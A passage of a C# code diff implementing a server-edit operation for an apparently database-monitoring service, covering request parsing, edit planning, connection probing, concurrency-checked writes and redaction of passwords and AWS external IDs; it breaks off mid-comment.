+        var otherKeys = new HashSet<string>(await store.LoadOtherStorageKeysAsync(serverId, cancellationToken), StringComparer.OrdinalIgnoreCase);
+        if (plan.AddressChanged && otherKeys.Contains(plan.NewStorageKey))
+        {
+            return OccupiedAnswer(plan.NewStorageKey);
+        }
+
+        var tested = false;
+        ParsedServerEntry? probedEntry = null;
+        string? connectedDatabase = null;
+        string? actualStorageKey = null;
+        if (plan.NeedsProbe)
+        {
+            var probeResult = await probe(plan.ProbeConfig, cancellationToken);
+            if (!probeResult.Success)
+            {
+                /* The reply names the host and port and nothing the driver said; the driver's text goes to the log (the
+                   web route passes no audit logger, so it passes probeLogger for this line alone). */
+                var detail = ConnectFailureReply(plan.ProbeConfig, probeResult, probeLogger ?? logger, false, plan.PlaintextSecret, plan.PlaintextExternalId);
+                return Outcome(EditStatus.ConnectionFailed, detail + " Nothing was saved.");
+            }
+
+            tested = true;
+            probedEntry = new ParsedServerEntry(0, plan.ProbeConfig.Name, plan.NewStorageKey, plan.ProbeConfig, null);
+            connectedDatabase = probeResult.ConnectedDatabase;
+            var collision = ActualIdentityCollision(probedEntry, connectedDatabase, otherKeys);
+            if (collision is not null)
+            {
+                return ActualCollisionOutcome(collision, plan.PlaintextSecret, plan.PlaintextExternalId);
+            }
+
+            /* #5240: the key the check above compared, handed to the write so the write compares it again under the
+               identity lock: another definition may have taken it during the probe, after otherKeys was read. Null when
+               the probe named nothing new (a connected database equal to the declared one, or none reported). */
+            actualStorageKey = ActualStorageKeyOf(probedEntry, connectedDatabase);
+        }
+
+        var sets = plan.Sets;
+        if (plan.PlaintextSecret is not null)
+        {
+            sets = sets.Select(s => s.Column == "encrypted_password"
+                ? s with { Value = ProtectPasswordForStorage(plan.PlaintextSecret, BindingOf(plan.ProbeConfig), ring) }
+                : s).ToList();
+        }
+
+        var write = await store.WriteAsync(serverId, row.ModifiedAt, sets, plan.AddressChanged ? plan.NewStorageKey : null, actualStorageKey, cancellationToken);
+        switch (write.Kind)
+        {
+            case ServerEditWriteKind.NotFound:
+                return Outcome(EditStatus.NotFound, "This server's definition was removed while the edit ran; nothing was changed.");
+            case ServerEditWriteKind.Occupied:
+                return OccupiedAnswer(plan.NewStorageKey);
+            case ServerEditWriteKind.ActualOccupied:
+                /* The same refusal the check after the probe gives, reached under the lock: the database the probe reached
+                   was claimed by another definition while the probe ran. Only a write handed an actual key answers this. */
+                if (probedEntry is null || connectedDatabase is null)
+                {
+                    throw new InvalidOperationException("The store refused an actual database key that this edit never handed it.");
+                }
+
+                return ActualCollisionOutcome(ActualIdentityCollisionText(probedEntry, connectedDatabase), plan.PlaintextSecret, plan.PlaintextExternalId);
+            case ServerEditWriteKind.PasswordNeeded:
+                /* The store's own check: a move of host or port that keeps the stored secret. The plan refuses it first, so
+                   this is the answer when the two ever read the row differently, and it is the same sentence. */
+                return Outcome(EditStatus.Invalid, EditPasswordNeededText);
+            case ServerEditWriteKind.ReferenceRefused:
+                /* The store's own check of a new password: it never takes a reference from this role. */
+                return Outcome(EditStatus.Invalid, EditReferenceRefusedText);
+            case ServerEditWriteKind.RemediationKept:
+                /* The store's own check of a change to how the row connects while it holds a remediation login: nothing is written. */
+                return Outcome(EditStatus.Invalid, EditRemediationKeptText);
+            case ServerEditWriteKind.ExternalIdNeeded:
+                /* The store's own check of a role change that would keep the stored external ID unseen. The plan refuses it first. */
+                return Outcome(EditStatus.Invalid, AwsRoleSettings.RoleChangeNeedsExternalIdMessage);
+            case ServerEditWriteKind.ExternalIdNeedsRole:
+                return Outcome(EditStatus.Invalid, AwsRoleSettings.ExternalIdNeedsRoleMessage);
+            case ServerEditWriteKind.InvalidValue:
+                return Outcome(EditStatus.Invalid, EditInvalidValueText);
+            case ServerEditWriteKind.Conflict:
+                /* Same shape as the pre-probe conflict: the current non-secret values, so the caller can retry. */
+                if (await store.ReadRowAsync(serverId, cancellationToken) is { } currentRow)
+                {
+                    return ConflictAnswer(currentRow);
+                }
+
+                return Outcome(EditStatus.NotFound, "This server's definition was removed while the edit ran; nothing was changed.");
+        }
+
+        /* One line per edit: the id and the field NAMES. Never a value, never the secret. */
+        if (plan.ChangedFields.Contains("aws_role_arn"))
+        {
+            /* #5452: the role is non-secret and its change gets an audit line of its own: old and new ARN, never the external ID. */
+            logger?.LogInformation("AWS role changed through edit_server: id {ServerId}, from {OldRole} to {NewRole}",
+                serverId, row.AwsRoleArn ?? "(none)", plan.NewAwsRoleArn ?? "(none)");
+        }
+
+        logger?.LogInformation("Server edited through edit_server: id {ServerId}, fields {Fields}", serverId, string.Join(",", plan.ChangedFields));
+
+        return JsonSerializer.Serialize(new
+        {
+            status = EditStatus.Updated,
+            server = plan.NewStorageKey,
+            display_name = plan.NewName,
+            server_id = serverId,
+            changed = plan.ChangedFields,
+            old_aws_role_arn = plan.ChangedFields.Contains("aws_role_arn") ? row.AwsRoleArn : null,
+            new_aws_role_arn = plan.ChangedFields.Contains("aws_role_arn") ? plan.NewAwsRoleArn : null,
+            reconnects = plan.Reconnects,
+            tested,
+            modified_at = ModifiedAtToken(write.ModifiedAt),
+            note = plan.AddressChanged ? EditNoteSweep + " " + EditNoteAddress : EditNoteSweep,
+        }, McpHelpers.JsonOptions);
+    }
+
+    /// <summary>The answer for an edit whose connected database another definition already covers: the add refusal's text
+    /// with "Not added" turned into "Not saved", the secret redacted. One shape for the check before the write and the
+    /// check under the lock.</summary>
+    private static string ActualCollisionOutcome(string collisionText, params string?[] secrets) =>
+        Outcome(EditStatus.Collides, RedactEditSecret(collisionText.Replace("Not added:", "Not saved:", StringComparison.Ordinal), secrets));
+
+    private static string OccupiedAnswer(string storageKey) =>
+        JsonSerializer.Serialize(new
+        {
+            status = EditStatus.Collides,
+            reason = "occupied",
+            message = $"Not saved: another monitored server already uses the address '{storageKey}'. Nothing was changed.",
+        }, McpHelpers.JsonOptions);
+
+    private static string ConflictAnswer(ServerEditRow row) =>
+        JsonSerializer.Serialize(new
+        {
+            status = EditStatus.Conflict,
+            message = "This server was changed since you read it; nothing was saved. The current values are in current.",
+            current = CurrentValuesOf(row),
+        }, McpHelpers.JsonOptions);
+
+    /// <summary>The non-secret values of a row, as the conflict answer's <c>current</c> and the web edit form's read
+    /// return them. No password and no <c>encrypted_password</c>: this surface cannot read either. <c>modified_at</c> is
+    /// the opaque token (<see cref="ModifiedAtToken"/>).</summary>
+    internal static object CurrentValuesOf(ServerEditRow row) => new
+    {
+        server_id = row.ServerId,
+        display_name = row.Name,
+        engine = row.Engine,
+        host = row.Host,
+        port = row.Port,
+        database = row.Database,
+        read_only_intent = row.ReadOnlyIntent,
+        auth = AuthWord(row.Auth),
+        username = row.Username,
+        encrypt_mode = row.EncryptMode,
+        trust_server_certificate = row.TrustServerCertificate,
+        multi_subnet_failover = row.MultiSubnetFailover,
+        monthly_cost_usd = row.MonthlyCostUsd,
+        aws_role_arn = row.AwsRoleArn,
+        aws_external_id_set = row.AwsExternalIdSet,
+        modified_at = ModifiedAtToken(row.ModifiedAt),
+    };
+
+    internal static string AuthWord(string storeAuth) => storeAuth.ToLowerInvariant() switch
+    {
+        ServerStoreAuth.Sql => "SQL",
+        ServerStoreAuth.ServicePrincipal => "ServicePrincipal",
+        ServerStoreAuth.ManagedIdentity => "ManagedIdentity",
+        _ => "Windows",
+    };
+
+    /// <summary>The opaque optimistic token: <c>modified_at</c> in the round-trip ("o") form, so the microseconds
+    /// survive a trip through a client that cannot hold them in a date type.</summary>
+    internal static string ModifiedAtToken(DateTime modifiedAt) => modifiedAt.ToString("o", CultureInfo.InvariantCulture);
+
+    /// <summary>The text with every typed secret removed: the password and the AWS external ID (#5452).</summary>
+    private static string RedactEditSecret(string text, params string?[] secrets)
+    {
+        foreach (var secret in secrets)
+        {
+            if (!string.IsNullOrEmpty(secret))
+            {
+                text = text.Replace(secret, "[redacted]", StringComparison.Ordinal);
+            }
+        }
+
+        return text;
+    }
+
+    /* ─────────────────────────────── parse (pure) ─────────────────────────────── */
+
+    /// <summary>The fields an edit names. A field that is not named is not touched.</summary>
+    internal sealed class ServerEditChanges
+    {
+        public string? DisplayName { get; set; }
+        public string? Host { get; set; }
+        public int? Port { get; set; }
+        public bool HasDatabase { get; set; }
+        public string? Database { get; set; }
+        public bool? ReadOnlyIntent { get; set; }
+        public string? StoreAuth { get; set; }
+        public bool HasUsername { get; set; }
+        public string? Username { get; set; }
+        public string? Password { get; set; }
+        public string? EncryptMode { get; set; }
+        public bool? TrustServerCertificate { get; set; }
+        public bool? MultiSubnetFailover { get; set; }
+        public decimal? MonthlyCostUsd { get; set; }
+
+        /// <summary>True when the request names the role: null in <see cref="AwsRoleArn"/> then means "remove it". A role left
+        /// out or sent blank keeps the stored one (#5452).</summary>
+        public bool HasAwsRole { get; set; }
+        public string? AwsRoleArn { get; set; }
+
+        /// <summary>True when the request names the external ID: null in <see cref="AwsExternalId"/> then means "clear it".</summary>
+        public bool HasAwsExternalId { get; set; }
+        public string? AwsExternalId { get; set; }
+        public string? ExpectedModifiedAt { get; set; }
+    }
+
+    /// <summary>
+    /// Parses <c>changes_json</c> the way <c>update_server_tag</c> parses its body: a whitelist, the first error wins,
+    /// and nothing is written when any field is bad. A key that names a column this surface never writes is refused
+    /// by name; any other unknown key is refused with the editable keys listed. Every message is a fixed sentence
+    /// that never repeats a value, so a password sent under a wrong key is not echoed.
+    /// </summary>
+    internal static (ServerEditChanges? Changes, string? Error) ParseEditChanges(string? changesJson)
+    {
+        if (string.IsNullOrWhiteSpace(changesJson))
+        {
+            return (null, "changes_json is required: a JSON object with the fields to change, e.g. {\"display_name\":\"Orders\"}.");
+        }
+
+        JsonNode? root;
+        try
+        {
+            root = JsonNode.Parse(changesJson);
+        }
+        catch (Exception ex) when (ex is JsonException or ArgumentException)
+        {
+            return (null, "changes_json is not valid JSON.");
+        }
+
+        if (root is not JsonObject body)
+        {
+            return (null, "changes_json must be a JSON object holding the fields to change.");
+        }
+
+        try
+        {
+            _ = body.Count; /* a duplicate property name throws on the first enumeration */
+        }
+        catch (ArgumentException)
+        {
+            return (null, "changes_json has a duplicate field.");
+        }
+
+        var keys = body.Select(p => p.Key).ToList();
+        if (keys.FirstOrDefault(k => EditRefusedKeys.Contains(k, StringComparer.Ordinal)
+                                  || k.StartsWith("remediation_", StringComparison.Ordinal)) is { } refused)
+        {
+            var refusedName = refused.StartsWith("remediation_", StringComparison.Ordinal) ? "remediation_*" : TruncateKey(refused);
+            return (null, $"'{refusedName}' cannot be changed here: it is the server's identity or a setting kept in the desktop app. Nothing was changed.");
+        }
+
+        if (keys.FirstOrDefault(k => !EditableKeys.Contains(k, StringComparer.Ordinal)) is { } unknown)
+        {
+            return (null, $"'{TruncateKey(unknown)}' is not an editable field. The editable fields are: {string.Join(", ", EditableKeys)}.");
+        }
+
+        if (keys.Count == 0)
+        {
+            return (null, "changes_json names no field to change.");
+        }
+
+        var changes = new ServerEditChanges();
+        foreach (var key in keys)
+        {
+            var node = body[key];
+            switch (key)
+            {
+                case "display_name":
+                    if (!TryEditString(node, out var displayName) || displayName is null)
+                    {
+                        return (null, "display_name must be text.");
+                    }
+
+                    changes.DisplayName = displayName.Trim();
+                    break;
+                case "host":
+                    if (!TryEditString(node, out var host) || string.IsNullOrWhiteSpace(host))
+                    {
+                        return (null, "host must be non-blank text.");
+                    }
+
+                    changes.Host = host.Trim();
+                    break;
+                case "port":
+                    var (port, portError) = ResolvePort(body);
+                    if (portError != null)
+                    {
+                        return (null, portError);
+                    }
+
+                    changes.Port = port;
+                    break;
+                case "database":
+                    if (node is not null && !TryEditString(node, out _))
+                    {
+                        return (null, "database must be text, or null to clear it.");
+                    }
+
+                    changes.HasDatabase = true;
+                    changes.Database = node is null || string.IsNullOrWhiteSpace(TryGetString(body, "database")) ? null : TryGetString(body, "database")!.Trim();
+                    break;
+                case "read_only_intent":
+                    var (ro, roError) = ResolveBool(body, "read_only_intent", false);
+                    if (roError != null || node is null)
+                    {
+                        return (null, "read_only_intent must be true or false.");
+                    }
+
+                    changes.ReadOnlyIntent = ro;
+                    break;
+                case "trust_server_certificate":
+                    var (trust, trustError) = ResolveBool(body, "trust_server_certificate", false);
+                    if (trustError != null || node is null)
+                    {
+                        return (null, "trust_server_certificate must be true or false.");
+                    }
+
+                    changes.TrustServerCertificate = trust;
+                    break;
+                case "multi_subnet_failover":
+                    var (multi, multiError) = ResolveBool(body, "multi_subnet_failover", false);
+                    if (multiError != null || node is null)
+                    {
+                        return (null, "multi_subnet_failover must be true or false.");
+                    }
+
+                    changes.MultiSubnetFailover = multi;
+                    break;
+                case "auth":
+                    var (storeAuth, authError) = ResolveAuth(TryGetString(body, "auth"));
+                    if (authError != null)
+                    {
+                        return (null, authError);
+                    }
+
+                    if (string.IsNullOrWhiteSpace(TryGetString(body, "auth")))
+                    {
+                        return (null, "auth must be \"Windows\", \"SQL\", \"ServicePrincipal\", or \"ManagedIdentity\".");
+                    }
+
+                    changes.StoreAuth = storeAuth;
+                    break;
+                case "username":
+                    if (node is not null && !TryEditString(node, out _))
+                    {
+                        return (null, "username must be text, or null to clear it.");
+                    }
+
+                    changes.HasUsername = true;
+                    changes.Username = node is null || string.IsNullOrWhiteSpace(TryGetString(body, "username")) ? null : TryGetString(body, "username")!.Trim();
+                    break;
+                case "password":
+                    if (!TryEditString(node, out var password))
+                    {
+                        return (null, "password must be text. Omit password, or leave it blank, to keep the stored one.");
+                    }
+
+                    /* A blank field keeps the stored secret, exactly as an absent one does (a form sends the field blank
+                       when nothing was typed). Whatever is stored, a reference included, is left byte for byte as it is:
+                       the secret column is not in the write unless a password was typed. */
+                    if (!string.IsNullOrEmpty(password))
+                    {
+                        changes.Password = password;
+                    }
+
+                    break;
+                case "encrypt_mode":
+                    var (encryptMode, encryptError) = ResolveEncryptMode(TryGetString(body, "encrypt_mode"));
+                    if (encryptError != null || !TryEditString(node, out _))
+                    {
+                        return (null, "encrypt_mode must be \"Optional\", \"Mandatory\", or \"Strict\".");
+                    }
+
+                    changes.EncryptMode = encryptMode;
+                    break;
+                case "monthly_cost_usd":
+                    if (!TryEditDecimal(node, out var cost) || cost < 0)
+                    {
+                        return (null, "monthly_cost_usd must be a number, zero or more.");
+                    }
+
+                    changes.MonthlyCostUsd = cost;
+                    break;
+                case "aws_role_arn":
+                    if (node is not null && !TryEditString(node, out _))
+                    {
+                        return (null, "aws_role_arn must be text, or null to remove the role.");
+                    }
+
+                    /* Absent or blank keeps the stored role; only an explicit null removes it. */
+                    var roleText = node is null ? null : AwsRoleSettings.Normalize(TryGetString(body, "aws_role_arn"));
+                    if (node is null || roleText is not null)
+                    {
+                        if (AwsRoleSettings.ValidateRole(roleText) is { } roleError)
+                        {
+                            return (null, roleError);
+                        }
+
+                        changes.HasAwsRole = true;
+                        changes.AwsRoleArn = roleText;
+                    }
+
+                    break;
+                case "aws_external_id":
+                    if (node is not null && !TryEditString(node, out _))
+                    {
+                        return (null, "aws_external_id must be text, or null to clear it.");
+                    }
+
+                    var idText = node is null ? null : AwsRoleSettings.Normalize(TryGetString(body, "aws_external_id"));
+                    if (node is null || idText is not null)
+                    {
+                        if (AwsRoleSettings.ValidateExternalId(idText) is { } idError)
+                        {
+                            return (null, idError);
+                        }
+
+                        changes.HasAwsExternalId = true;
+                        changes.AwsExternalId = idText;
+                    }
+
+                    break;
+                case "expected_modified_at":
+                    if (!TryEditString(node, out var token) || string.IsNullOrWhiteSpace(token))
+                    {
+                        return (null, "expected_modified_at must be the modified_at text an earlier answer returned.");
+                    }
+
+                    changes.ExpectedModifiedAt = token.Trim();
+                    break;
+            }
+        }
+
+        return (changes, null);
+    }
+
+    private static string TruncateKey(string key) => key.Length <= 40 ? key : key[..40] + "...";
+
+    private static bool TryEditString(JsonNode? node, out string? value)
+    {
+        value = null;
+        if (node is JsonValue v && v.TryGetValue<string>(out var s))
+        {
+            value = s;
+            return true;
+        }
+
+        return false;
+    }
+
+    private static bool TryEditDecimal(JsonNode? node, out decimal value)
+    {
+        value = 0m;
+        if (node is not JsonValue v)
+        {
+            return false;
+        }
+
+        if (v.TryGetValue<decimal>(out value))
+        {
+            return true;
+        }
+
+        return v.TryGetValue<string>(out var text)
+            && decimal.TryParse(text, NumberStyles.Number, CultureInfo.InvariantCulture, out value);
+    }
+
+    /* ─────────────────────────────── plan (pure) ─────────────────────────────── */
+
+    /// <summary>One column an edit writes. <see cref="Field"/> is the field name an answer reports.</summary>
+    internal sealed record EditColumnValue(string Field, string Column, NpgsqlDbType DbType, object? Value);
+
+    /// <summary>What an edit would do, computed from the stored row and the request alone.</summary>
+    internal sealed class ServerEditPlan
+    {
+        public List<EditColumnValue> Sets { get; } = [];
+        public List<string> ChangedFields { get; } = [];
+        public string NewStorageKey { get; set; } = "";
+        public string NewName { get; set; } = "";
+        public bool AddressChanged { get; set; }
+        public bool NeedsProbe { get; set; }
+        public bool Reconnects { get; set; }
+        public string? PlaintextSecret { get; set; }
+
+        /// <summary>The external ID the request typed (null when it sent none), kept only so an answer can redact it (#5452).</summary>
+        public string? PlaintextExternalId { get; set; }
+
+        /// <summary>The role the row holds after the edit, null when none.</summary>
+        public string? NewAwsRoleArn { get; set; }
+        public MonitoredServer ProbeConfig { get; set; } = new();
+    }
+
+    private static bool IsSecretAuth(string storeAuth) =>
+        string.Equals(storeAuth, ServerStoreAuth.Sql, StringComparison.OrdinalIgnoreCase)
+        || string.Equals(storeAuth, ServerStoreAuth.ServicePrincipal, StringComparison.OrdinalIgnoreCase);
+
+    /// <summary>The shared address rule (<see cref="ServerConnectionRule.SameAddress"/>), kept under this name for the edit core and its tests.</summary>
+    internal static bool SameAddress(string host, int port, string otherHost, int otherPort) =>
+        ServerConnectionRule.SameAddress(host, port, otherHost, otherPort);
+
+    /// <summary>
+    /// The merged definition (the stored row plus the request) checked as add checks an entry, and the columns that
+    /// differ. The credential rules: a password is required when a SQL or service-principal row's connection changes
+    /// (probe rule b) or when the row switches INTO one of those modes, and it is never reused across modes; a
+    /// switch out of them clears the stored secret; a row that stores no secret needs none.
+    /// </summary>
+    internal static (ServerEditPlan? Plan, string? Error) PlanEdit(ServerEditRow row, ServerEditChanges c, PasswordKeyStatus key, AwsRoleAllowlist? allowlist = null)
+    {
+        allowlist ??= AwsRoleAllowlist.Current;
+        var host = c.Host ?? row.Host;
+        var port = c.Port ?? row.Port;
+        var database = c.HasDatabase ? c.Database : row.Database;
+        var readOnly = c.ReadOnlyIntent ?? row.ReadOnlyIntent;
+        var auth = c.StoreAuth ?? row.Auth;
+        var encryptMode = c.EncryptMode ?? row.EncryptMode;
+        var trust = c.TrustServerCertificate ?? row.TrustServerCertificate;
+        var multi = c.MultiSubnetFailover ?? row.MultiSubnetFailover;
+        var cost = c.MonthlyCostUsd ?? row.MonthlyCostUsd;
+        var authSwitched = !string.Equals(auth, row.Auth, StringComparison.OrdinalIgnoreCase);
+        var secretMode = IsSecretAuth(auth);
+        var isSp = string.Equals(auth, ServerStoreAuth.ServicePrincipal, StringComparison.OrdinalIgnoreCase);
+
+        var username = c.HasUsername ? c.Username : (authSwitched ? null : row.Username);
+        var name = c.DisplayName is null ? row.Name : (c.DisplayName.Length == 0 ? host : c.DisplayName);
+
+        var isPostgres = !string.Equals(row.Engine, EngineSqlServer, StringComparison.OrdinalIgnoreCase);
+        if (isPostgres && !string.Equals(auth, ServerStoreAuth.Sql, StringComparison.OrdinalIgnoreCase))
+        {
+            return (null, "a PostgreSQL target requires auth \"SQL\" with a username and password " +
+                          "(integrated/Kerberos auth is not supported for PostgreSQL targets).");
+        }
+
+        if (!isPostgres && c.Port is not null)
+        {
+            return (null, "A SQL Server port goes in host, as host,port.");
+        }
+
+        /* #5452: the AWS role. Absent or blank keeps the stored role (the parse left HasAwsRole false); an explicit null
+           removes it, always allowed, and takes the external ID with it. A role set or changed must be on darling.json's
+           list; the same role as stored is no change and is not checked. */
+        var newRole = c.HasAwsRole ? c.AwsRoleArn : row.AwsRoleArn;
+        if (!isPostgres && (c.AwsRoleArn is not null || c.AwsExternalId is not null))
+        {
+            return (null, AwsRoleSettings.RoleNeedsPostgresMessage);
+        }
+
+        if (newRole is null && c.HasAwsExternalId && c.AwsExternalId is not null)
+        {
+            return (null, AwsRoleSettings.ExternalIdNeedsRoleMessage);
+        }
+
+        if (AwsRoleListRefusal(newRole, row.AwsRoleArn, allowlist) is { } roleRefusal)
+        {
+            return (null, roleRefusal);
+        }
+
+        if (AwsRoleSettings.RoleChangeNeedsExternalId(row.AwsRoleArn, newRole, row.AwsExternalIdSet, c.HasAwsExternalId))
+        {
+            return (null, AwsRoleSettings.RoleChangeNeedsExternalIdMessage);
+        }
+
+        if (secretMode)
+        {
+            if (string.IsNullOrWhiteSpace(username))
+            {
+                return (null, isSp
+                    ? "username is required for ServicePrincipal authentication (the Entra application/client id)."
+                    : "username is required for SQL authentication.");
+            }
+        }
+        else
+        {
+            /* Windows and managed identity store no secret; add ignores a password sent with them, and so does an edit. */
+            c = CloneWithoutPassword(c);
+            if (!string.Equals(auth, ServerStoreAuth.ManagedIdentity, StringComparison.OrdinalIgnoreCase))
+            {
+                username = null;
+            }
+        }
+
+        if (secretMode && c.Password is not null && (ValidateSecret(c.Password, key, isSp) ?? SealableTextRefusal(c.Password, host, database, username)) is { } secretRefusal)
+        {
+            return (null, secretRefusal);
+        }
+
+        var connectionChanged = ServerConnectionIdentity.Differ(
+            ServerConnectionIdentity.FromStoredColumns(host, port, row.Engine, database, readOnly, auth, username, encryptMode, trust, multi),
+            ServerConnectionIdentity.FromStoredColumns(row.Host, row.Port, row.Engine, row.Database, row.ReadOnlyIntent, row.Auth, row.Username,
+                row.EncryptMode, row.TrustServerCertificate, row.MultiSubnetFailover));
+
+        if (secretMode && c.Password is null && (authSwitched || connectionChanged))
+        {
+            return (null, authSwitched
+                ? (isSp
+                    ? "Switching to ServicePrincipal authentication needs the client secret as password."
+                    : "Switching to SQL authentication needs the password.")
+                : EditPasswordNeededText);
+        }
+
+        var plan = new ServerEditPlan
+        {
+            NewStorageKey = ServerIdHelper.BuildStorageName(host, database, readOnly, row.Engine, port),
+            NewName = name,
+            PlaintextSecret = secretMode ? c.Password : null,
+            PlaintextExternalId = c.AwsExternalId,
+            NewAwsRoleArn = newRole,
+        };
+        var oldKey = ServerIdHelper.BuildStorageName(row.Host, row.Database, row.ReadOnlyIntent, row.Engine, row.Port);
+        plan.AddressChanged = !string.Equals(plan.NewStorageKey, oldKey, StringComparison.Ordinal);
+
+        void Set(string field, NpgsqlDbType type, object? value, bool changed)
+        {
+            if (!changed)
+            {
+                return;
+            }
+
+            plan.Sets.Add(new EditColumnValue(field, EditColumnOfField[field], type, value));
+            plan.ChangedFields.Add(field);
+        }
+
+        Set("display_name", NpgsqlDbType.Text, name, !string.Equals(name, row.Name, StringComparison.Ordinal));
+        Set("host", NpgsqlDbType.Text, host, !string.Equals(host, row.Host, StringComparison.Ordinal));
+        Set("port", NpgsqlDbType.Integer, port, port != row.Port);
+        Set("database", NpgsqlDbType.Text, database, !string.Equals(database, row.Database, StringComparison.Ordinal));
+        Set("read_only_intent", NpgsqlDbType.Boolean, readOnly, readOnly != row.ReadOnlyIntent);
+        Set("auth", NpgsqlDbType.Text, auth, authSwitched);
+        Set("username", NpgsqlDbType.Text, username, !string.Equals(username, row.Username, StringComparison.Ordinal));
+        Set("encrypt_mode", NpgsqlDbType.Text, encryptMode, !string.Equals(encryptMode, row.EncryptMode, StringComparison.OrdinalIgnoreCase));
+        Set("trust_server_certificate", NpgsqlDbType.Boolean, trust, trust != row.TrustServerCertificate);
+        Set("multi_subnet_failover", NpgsqlDbType.Boolean, multi, multi != row.MultiSubnetFailover);
+        Set("monthly_cost_usd", NpgsqlDbType.Numeric, cost, cost != row.MonthlyCostUsd);
+
+        Set("aws_role_arn", NpgsqlDbType.Text, newRole, !string.Equals(newRole, row.AwsRoleArn, StringComparison.Ordinal));
+
+        /* The external ID rides with a role that stays: a typed one replaces the stored one (it cannot be compared, so it
+           always counts as a change), null clears it, and a cleared role takes it along inside the store's function. */
+        if (newRole is not null && c.HasAwsExternalId && (c.AwsExternalId is not null || row.AwsExternalIdSet))
+        {
+            Set("aws_external_id", NpgsqlDbType.Text, c.AwsExternalId, true);
+        }
+
+        /* The secret column: a new secret is written (the core encrypts it after the probe); a switch OUT of a secret
+           mode clears the old one so it can never be reused as another mode's secret; otherwise it is not in the SET
+           list at all, which is what "keep" means. */
+        if (secretMode && c.Password is not null)
+        {
+            Set("password", NpgsqlDbType.Text, null, true);
+        }
+        else if (!secretMode && IsSecretAuth(row.Auth))
+        {
+            Set("password", NpgsqlDbType.Text, null, true);
+        }
+
+        plan.NeedsProbe = plan.Sets.Count > 0 && (connectionChanged || plan.PlaintextSecret is not null);
+        plan.ProbeConfig = new MonitoredServer
+        {
+            StoredServerId = row.ServerId,
+            Name = name,
+            Host = host,
+            Database = database,
+            Auth = auth,
+            Username = username,
+            Password = plan.PlaintextSecret,
+            EncryptMode = encryptMode,
+            TrustServerCertificate = trust,
+            ReadOnlyIntent = readOnly,
+            MultiSubnetFailover = multi,
+            Engine = row.Engine,
+            Port = port,
+            AwsRoleArn = newRole,
+            AwsExternalId = c.AwsExternalId,
+        };
+
+        /* Whether the running service drops and re-opens its connection: the worker's own comparison, over the held
+           definition and the edited one. The secret differs by a marker, since the stored blob is not readable. */
+        var before = new MonitoredServer
+        {
+            StoredServerId = row.ServerId, Name = row.Name, Host = row.Host, Database = row.Database, Auth = row.Auth,
+            Username = row.Username, EncryptedPassword = IsSecretAuth(row.Auth) ? "stored" : null, EncryptMode = row.EncryptMode,
+            TrustServerCertificate = row.TrustServerCertificate, ReadOnlyIntent = row.ReadOnlyIntent,
+            MultiSubnetFailover = row.MultiSubnetFailover, Engine = row.Engine, Port = row.Port,
+            AwsRoleArn = row.AwsRoleArn, AwsExternalId = row.AwsExternalIdSet ? "stored" : null,
+        };
+        var after = new MonitoredServer
+        {
+            StoredServerId = row.ServerId, Name = name, Host = host, Database = database, Auth = auth,
+            Username = username,
+            EncryptedPassword = !secretMode ? null : (c.Password is not null ? "changed" : "stored"),
+            EncryptMode = encryptMode, TrustServerCertificate = trust, ReadOnlyIntent = readOnly,
+            MultiSubnetFailover = multi, Engine = row.Engine, Port = port,
+            /* #5452: the role and the external ID are part of the definition the worker compares, so a role-only edit
+               reconnects under the new role. The stored ID cannot be read, so it differs by a marker: a typed one
+               is "changed", a cleared one (or a cleared role) is none, and an untouched one stays "stored". */
+            AwsRoleArn = newRole,
+            AwsExternalId = newRole is null ? null : c.HasAwsExternalId ? (c.AwsExternalId is null ? null : "changed") : (row.AwsExternalIdSet ? "stored" : null),
+        };
+        plan.Reconnects = plan.Sets.Count > 0 && !DarlingWorker.ServerDefinitionEquals(before, after);
+        return (plan, null);
+    }
+
+    private static ServerEditChanges CloneWithoutPassword(ServerEditChanges c) => new()
+    {
+        DisplayName = c.DisplayName, Host = c.Host, Port = c.Port, HasDatabase = c.HasDatabase, Database = c.Database,
+        ReadOnlyIntent = c.ReadOnlyIntent, StoreAuth = c.StoreAuth, HasUsername = c.HasUsername, Username = c.Username,
+        Password = null, EncryptMode = c.EncryptMode, TrustServerCertificate = c.TrustServerCertificate,
+        MultiSubnetFailover = c.MultiSubnetFailover, MonthlyCostUsd = c.MonthlyCostUsd, ExpectedModifiedAt = c.ExpectedModifiedAt,
+        HasAwsRole = c.HasAwsRole, AwsRoleArn = c.AwsRoleArn, HasAwsExternalId = c.HasAwsExternalId, AwsExternalId = c.AwsExternalId,
+    };
+
+    /* ─────────────────────────────── store seam ─────────────────────────────── */
+
+    /// <summary>One <c>config_monitored_servers</c> row, the NON-SECRET columns an edit reads.</summary>
+    internal sealed record ServerEditRow(
+        int ServerId, string Name, string Host, int Port, string? Database, bool ReadOnlyIntent, string Engine, string Auth,
+        string? Username, string EncryptMode, bool TrustServerCertificate, bool MultiSubnetFailover, decimal MonthlyCostUsd,
+        DateTime ModifiedAt, string? AwsRoleArn = null, bool AwsExternalIdSet = false);
+
+    /// <summary><c>Occupied</c>: another definition holds the address the edit moves to. <c>ActualOccupied</c>: another
+    /// definition holds the storage key the probe's connected database gives (#5240), the refusal
+    /// <see cref="ActualIdentityCollision"/> gives before the write. Neither commits.</summary>
+    internal enum ServerEditWriteKind { Written, NotFound, Conflict, Occupied, PasswordNeeded, ActualOccupied, ReferenceRefused, RemediationKept, ExternalIdNeeded, ExternalIdNeedsRole, InvalidValue }
+
+    internal sealed record ServerEditWrite(ServerEditWriteKind Kind, DateTime ModifiedAt);
+
+    /// <summary>The storage operations an edit performs, as a seam: the real one is
+    /// <see cref="PostgresServerEditStore"/>; a test stands in one that swallows a row, moves <c>modified_at</c> or
+    /// records the columns written.</summary>
+    internal interface IServerEditStore
+    {
+        /// <summary>The row, or null when no definition holds <paramref name="serverId"/>. No lock.</summary>
+        Task<ServerEditRow?> ReadRowAsync(int serverId, CancellationToken cancellationToken);
+
+        /// <summary>The storage key of every OTHER definition.</summary>
+        Task<List<string>> LoadOtherStorageKeysAsync(int serverId, CancellationToken cancellationToken);
+
+        /// <summary>Re-checks and writes in one transaction: the identity lock (<see cref="IdentityLockSql"/>), then
+        /// <c>config.edit_monitored_server</c>, which locks the row, compares <c>modified_at</c> with
+        /// <paramref name="expectedModifiedAt"/>, refuses a move of host or port that keeps the stored secret, and writes
+        /// the listed columns; then, when <paramref name="newStorageKey"/> or <paramref name="actualStorageKey"/> is given,
+        /// the other rows' keys, read under the lock. An address another row holds undoes the write: the transaction is
+        /// never committed. <paramref name="actualStorageKey"/> is the key the probe's connected database gives when it
+        /// differs from the edit's own key (<see cref="ActualStorageKeyOf"/>), else null; a row holding it answers
